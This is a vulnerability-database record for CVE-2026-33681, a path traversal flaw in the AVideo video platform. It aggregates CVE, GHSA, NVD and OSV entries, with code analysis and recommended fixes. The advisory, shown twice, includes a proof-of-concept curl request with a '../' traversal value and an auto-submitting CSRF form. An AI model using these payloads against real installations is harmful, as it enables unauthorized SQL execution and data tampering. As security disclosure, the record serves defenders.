{"id":"CVE-2026-33681","aliases":["EUVD-2026-14492","GHSA-3hwv-x8g3-9qpr"],"status":"published","title":"AVideo has Path Traversal in pluginRunDatabaseScript.json.php Enables Arbitrary SQL File Execution via Unsanitized Plugin Name","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `objects/pluginRunDatabaseScript.json.php` endpoint accepts a `name` parameter via POST and passes it to `Plugin::getDatabaseFileName()` without any path traversal sanitization. This allows an authenticated admin (or an attacker via CSRF) to traverse outside the plugin directory and execute the contents of any `install/install.sql` file on the filesystem as raw SQL queries against the application database. Commit 81b591c509835505cb9f298aa1162ac64c4152cb contains a patch.","severity":{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00512,"percentile":0.44159,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-22"],"published":"2026-03-23T18:39:33Z","modified":"2026-10-28T02:30:50Z","affected":[{"source":"ghsa","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"]}],"products":[{"vendor":"wwbn","product":"avideo"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-3hwv-x8g3-9qpr","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/WWBN/AVideo/commit/81b591c509835505cb9f298aa1162ac64c4152cb","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33681","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-v8jw-8w5p-23g3","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-3hwv-x8g3-9qpr"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33681.json","tags":["advisory"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-33681","title":"AVideo has Path Traversal in pluginRunDatabaseScript.json.php Enables Arbitrary SQL File Execution via Unsanitized Plugin Name","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `objects/pluginRunDatabaseScript.json.php` endpoint accepts a `name` parameter via POST and passes it to `Plugin::getDatabaseFileName()` without any path traversal sanitization. This allows an authenticated admin (or an attacker via CSRF) to traverse outside the plugin directory and execute the contents of any `install/install.sql` file on the filesystem as raw SQL queries against the application database. Commit 81b591c509835505cb9f298aa1162ac64c4152cb contains a patch.","status":"published","published":"2026-03-23T18:39:33.513Z","modified":"2026-03-24T16:13:23.412Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:20:07.609948Z"}],"euvd":[{"id":"EUVD-2026-14492","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `objects/pluginRunDatabaseScript.json.php` endpoint accepts a `name` parameter via POST and passes it to `Plugin::getDatabaseFileName()` without any path traversal sanitization. This allows an authenticated admin (or an attacker via CSRF) to traverse outside the plugin directory and execute the contents of any `install/install.sql` file on the filesystem as raw SQL queries against the application database. Commit 81b591c509835505cb9f298aa1162ac64c4152cb contains a patch.","status":"published","published":"2026-03-23T18:39:33Z","modified":"2026-03-24T16:13:23Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T19:25:29.933437Z"}],"ghsa":[{"id":"GHSA-3hwv-x8g3-9qpr","title":"AVideo has Path Traversal in pluginRunDatabaseScript.json.php Enables Arbitrary SQL File Execution via Unsanitized Plugin Name","description":"## Summary\n\nThe `objects/pluginRunDatabaseScript.json.php` endpoint accepts a `name` parameter via POST and passes it to `Plugin::getDatabaseFileName()` without any path traversal sanitization. This allows an authenticated admin (or an attacker via CSRF) to traverse outside the plugin directory and execute the contents of any `install/install.sql` file on the filesystem as raw SQL queries against the application database.\n\n## Details\n\nThe vulnerable data flow:\n\n**1. Entry point** — `objects/pluginRunDatabaseScript.json.php:21`:\n```php\n$fileName = Plugin::getDatabaseFileName($_POST['name']);\n```\n\n**2. \"Sanitization\"** — `objects/plugin.php:343-354`:\n```php\npublic static function getDatabaseFileName($pluginName)\n{\n    global $global;\n    $pluginName = AVideoPlugin::fixName($pluginName);  // line 347 — no-op\n    $dir = $global['systemRootPath'] . \"plugin\";\n    $filename = $dir . DIRECTORY_SEPARATOR . $pluginName . DIRECTORY_SEPARATOR . \"install\" . DIRECTORY_SEPARATOR . \"install.sql\";\n    if (!file_exists($filename)) {\n        return false;\n    }\n    return $filename;\n}\n```\n\n**3. The \"fix\"** — `plugin/AVideoPlugin.php:3184-3190`:\n```php\npublic static function fixName($name)\n{\n    if ($name === 'Programs') {\n        return 'PlayLists';\n    }\n    return $name;  // Returns input unchanged for all other values\n}\n```\n\n**4. SQL execution** — `objects/pluginRunDatabaseScript.json.php:24-36`:\n```php\n$lines = file($fileName);\nforeach ($lines as $line) {\n    // ...\n    if (!$global['mysqli']-\u003equery($templine)) {\n        $obj-\u003emsg = ('Error performing query \\'\u003cstrong\u003e' . $templine . '\\': ' . $global['mysqli']-\u003eerror);\n        die($templine.' '.json_encode($obj));  // Leaks file content + SQL error\n    }\n}\n```\n\nThe sibling endpoint `pluginRunUpdateScript.json.php` correctly routes through `AVideoPlugin::loadPlugin()` which sanitizes the name with `preg_replace('/[^0-9a-z_]/i', '', $name)` at `AVideoPlugin.php:395`. The vulnerable endpoint bypasses this sanitization entirely.\n\nAdditionally, the endpoint lacks CSRF token validation. The related `pluginImport.json.php` properly checks `isGlobalTokenValid()`, but `pluginRunDatabaseScript.json.php` does not, making it exploitable via cross-site request forgery against an authenticated admin.\n\n## PoC\n\n**Step 1: Direct exploitation (as admin)**\n\n```bash\n# Traverse to another plugin's install.sql (e.g., from CustomPlugin to LiveLinks)\ncurl -s -b \"PHPSESSID=\u003cadmin_session\u003e\" \\\n  -d \"name=../plugin/LiveLinks\" \\\n  \"https://target.com/objects/pluginRunDatabaseScript.json.php\"\n```\n\nThis resolves to: `{root}/plugin/../plugin/LiveLinks/install/install.sql` and executes its SQL.\n\n**Step 2: CSRF exploitation (no direct admin access needed)**\n\nHost the following HTML on an attacker-controlled page and trick an admin into visiting it:\n\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform action=\"https://target.com/objects/pluginRunDatabaseScript.json.php\" method=\"POST\" id=\"csrf\"\u003e\n  \u003cinput type=\"hidden\" name=\"name\" value=\"../../attacker-controlled-path\" /\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById('csrf').submit();\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**Step 3: Information disclosure via error messages**\n\nIf the traversed SQL file contains invalid SQL, lines 32-33 leak the raw file content in the error response:\n```json\n{\"error\":true,\"msg\":\"Error performing query '\u003cstrong\u003eFILE CONTENT HERE': MySQL error...\"}\n```\n\n## Impact\n\n- **SQL injection via file inclusion**: An attacker can execute arbitrary SQL from any `install/install.sql` file reachable via path traversal, potentially creating admin accounts, modifying data, or extracting sensitive information.\n- **Information disclosure**: SQL execution errors leak raw file contents and MySQL error messages in the HTTP response.\n- **CSRF amplification**: The lack of CSRF protection means an external attacker can exploit this vulnerability by tricking an admin into visiting a malicious page, without needing direct admin credentials.\n- **Chaining potential**: If combined with any file-write primitive (e.g., GHSA-v8jw-8w5p-23g3, the plugin ZIP extraction RCE), an attacker can write a malicious `install.sql` file and then execute it via this endpoint.\n\n## Recommended Fix\n\nApply the same sanitization used by `loadPlugin()` to strip path traversal characters, and add CSRF token validation:\n\n```php\n// In objects/pluginRunDatabaseScript.json.php, after line 14:\n\n// Add CSRF protection\nif (!isGlobalTokenValid()) {\n    die('{\"error\":\"' . __(\"Invalid token\") . '\"}');\n}\n\n// Sanitize plugin name before use (line 21)\n$pluginName = trim(preg_replace('/[^0-9a-z_]/i', '', $_POST['name']));\n$fileName = Plugin::getDatabaseFileName($pluginName);\n```\n\nAlternatively, fix `AVideoPlugin::fixName()` to apply proper sanitization for all callers:\n\n```php\npublic static function fixName($name)\n{\n    if ($name === 'Programs') {\n        $name = 'PlayLists';\n    }\n    return trim(preg_replace('/[^0-9a-z_]/i', '', $name));\n}\n```","status":"published","published":"2026-03-25T19:51:46Z","modified":"2026-03-25T19:51:48Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:39:42.712607Z"}],"nvd":[{"id":"CVE-2026-33681","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `objects/pluginRunDatabaseScript.json.php` endpoint accepts a `name` parameter via POST and passes it to `Plugin::getDatabaseFileName()` without any path traversal sanitization. This allows an authenticated admin (or an attacker via CSRF) to traverse outside the plugin directory and execute the contents of any `install/install.sql` file on the filesystem as raw SQL queries against the application database. Commit 81b591c509835505cb9f298aa1162ac64c4152cb contains a patch.","status":"published","published":"2026-03-23T19:16:41.54Z","modified":"2026-06-17T10:37:55.09Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:12:10.568062Z"}],"osv":[{"id":"CVE-2026-33681","title":"AVideo has Path Traversal in pluginRunDatabaseScript.json.php Enables Arbitrary SQL File Execution via Unsanitized Plugin Name","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `objects/pluginRunDatabaseScript.json.php` endpoint accepts a `name` parameter via POST and passes it to `Plugin::getDatabaseFileName()` without any path traversal sanitization. This allows an authenticated admin (or an attacker via CSRF) to traverse outside the plugin directory and execute the contents of any `install/install.sql` file on the filesystem as raw SQL queries against the application database. Commit 81b591c509835505cb9f298aa1162ac64c4152cb contains a patch.","status":"published","published":"2026-03-23T18:39:33.513Z","modified":"2026-10-28T02:30:50.537564773Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:45:01.896044Z"},{"id":"GHSA-3hwv-x8g3-9qpr","title":"AVideo has Path Traversal in pluginRunDatabaseScript.json.php Enables Arbitrary SQL File Execution via Unsanitized Plugin Name","description":"## Summary\n\nThe `objects/pluginRunDatabaseScript.json.php` endpoint accepts a `name` parameter via POST and passes it to `Plugin::getDatabaseFileName()` without any path traversal sanitization. This allows an authenticated admin (or an attacker via CSRF) to traverse outside the plugin directory and execute the contents of any `install/install.sql` file on the filesystem as raw SQL queries against the application database.\n\n## Details\n\nThe vulnerable data flow:\n\n**1. Entry point** — `objects/pluginRunDatabaseScript.json.php:21`:\n```php\n$fileName = Plugin::getDatabaseFileName($_POST['name']);\n```\n\n**2. \"Sanitization\"** — `objects/plugin.php:343-354`:\n```php\npublic static function getDatabaseFileName($pluginName)\n{\n    global $global;\n    $pluginName = AVideoPlugin::fixName($pluginName);  // line 347 — no-op\n    $dir = $global['systemRootPath'] . \"plugin\";\n    $filename = $dir . DIRECTORY_SEPARATOR . $pluginName . DIRECTORY_SEPARATOR . \"install\" . DIRECTORY_SEPARATOR . \"install.sql\";\n    if (!file_exists($filename)) {\n        return false;\n    }\n    return $filename;\n}\n```\n\n**3. The \"fix\"** — `plugin/AVideoPlugin.php:3184-3190`:\n```php\npublic static function fixName($name)\n{\n    if ($name === 'Programs') {\n        return 'PlayLists';\n    }\n    return $name;  // Returns input unchanged for all other values\n}\n```\n\n**4. SQL execution** — `objects/pluginRunDatabaseScript.json.php:24-36`:\n```php\n$lines = file($fileName);\nforeach ($lines as $line) {\n    // ...\n    if (!$global['mysqli']-\u003equery($templine)) {\n        $obj-\u003emsg = ('Error performing query \\'\u003cstrong\u003e' . $templine . '\\': ' . $global['mysqli']-\u003eerror);\n        die($templine.' '.json_encode($obj));  // Leaks file content + SQL error\n    }\n}\n```\n\nThe sibling endpoint `pluginRunUpdateScript.json.php` correctly routes through `AVideoPlugin::loadPlugin()` which sanitizes the name with `preg_replace('/[^0-9a-z_]/i', '', $name)` at `AVideoPlugin.php:395`. The vulnerable endpoint bypasses this sanitization entirely.\n\nAdditionally, the endpoint lacks CSRF token validation. The related `pluginImport.json.php` properly checks `isGlobalTokenValid()`, but `pluginRunDatabaseScript.json.php` does not, making it exploitable via cross-site request forgery against an authenticated admin.\n\n## PoC\n\n**Step 1: Direct exploitation (as admin)**\n\n```bash\n# Traverse to another plugin's install.sql (e.g., from CustomPlugin to LiveLinks)\ncurl -s -b \"PHPSESSID=\u003cadmin_session\u003e\" \\\n  -d \"name=../plugin/LiveLinks\" \\\n  \"https://target.com/objects/pluginRunDatabaseScript.json.php\"\n```\n\nThis resolves to: `{root}/plugin/../plugin/LiveLinks/install/install.sql` and executes its SQL.\n\n**Step 2: CSRF exploitation (no direct admin access needed)**\n\nHost the following HTML on an attacker-controlled page and trick an admin into visiting it:\n\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform action=\"https://target.com/objects/pluginRunDatabaseScript.json.php\" method=\"POST\" id=\"csrf\"\u003e\n  \u003cinput type=\"hidden\" name=\"name\" value=\"../../attacker-controlled-path\" /\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById('csrf').submit();\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**Step 3: Information disclosure via error messages**\n\nIf the traversed SQL file contains invalid SQL, lines 32-33 leak the raw file content in the error response:\n```json\n{\"error\":true,\"msg\":\"Error performing query '\u003cstrong\u003eFILE CONTENT HERE': MySQL error...\"}\n```\n\n## Impact\n\n- **SQL injection via file inclusion**: An attacker can execute arbitrary SQL from any `install/install.sql` file reachable via path traversal, potentially creating admin accounts, modifying data, or extracting sensitive information.\n- **Information disclosure**: SQL execution errors leak raw file contents and MySQL error messages in the HTTP response.\n- **CSRF amplification**: The lack of CSRF protection means an external attacker can exploit this vulnerability by tricking an admin into visiting a malicious page, without needing direct admin credentials.\n- **Chaining potential**: If combined with any file-write primitive (e.g., GHSA-v8jw-8w5p-23g3, the plugin ZIP extraction RCE), an attacker can write a malicious `install.sql` file and then execute it via this endpoint.\n\n## Recommended Fix\n\nApply the same sanitization used by `loadPlugin()` to strip path traversal characters, and add CSRF token validation:\n\n```php\n// In objects/pluginRunDatabaseScript.json.php, after line 14:\n\n// Add CSRF protection\nif (!isGlobalTokenValid()) {\n    die('{\"error\":\"' . __(\"Invalid token\") . '\"}');\n}\n\n// Sanitize plugin name before use (line 21)\n$pluginName = trim(preg_replace('/[^0-9a-z_]/i', '', $_POST['name']));\n$fileName = Plugin::getDatabaseFileName($pluginName);\n```\n\nAlternatively, fix `AVideoPlugin::fixName()` to apply proper sanitization for all callers:\n\n```php\npublic static function fixName($name)\n{\n    if ($name === 'Programs') {\n        $name = 'PlayLists';\n    }\n    return trim(preg_replace('/[^0-9a-z_]/i', '', $name));\n}\n```","status":"published","published":"2026-03-25T19:51:46Z","modified":"2026-03-25T20:11:20.547309Z","cvss":[{"version":"3.1","score":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:35.747385Z"}]}}
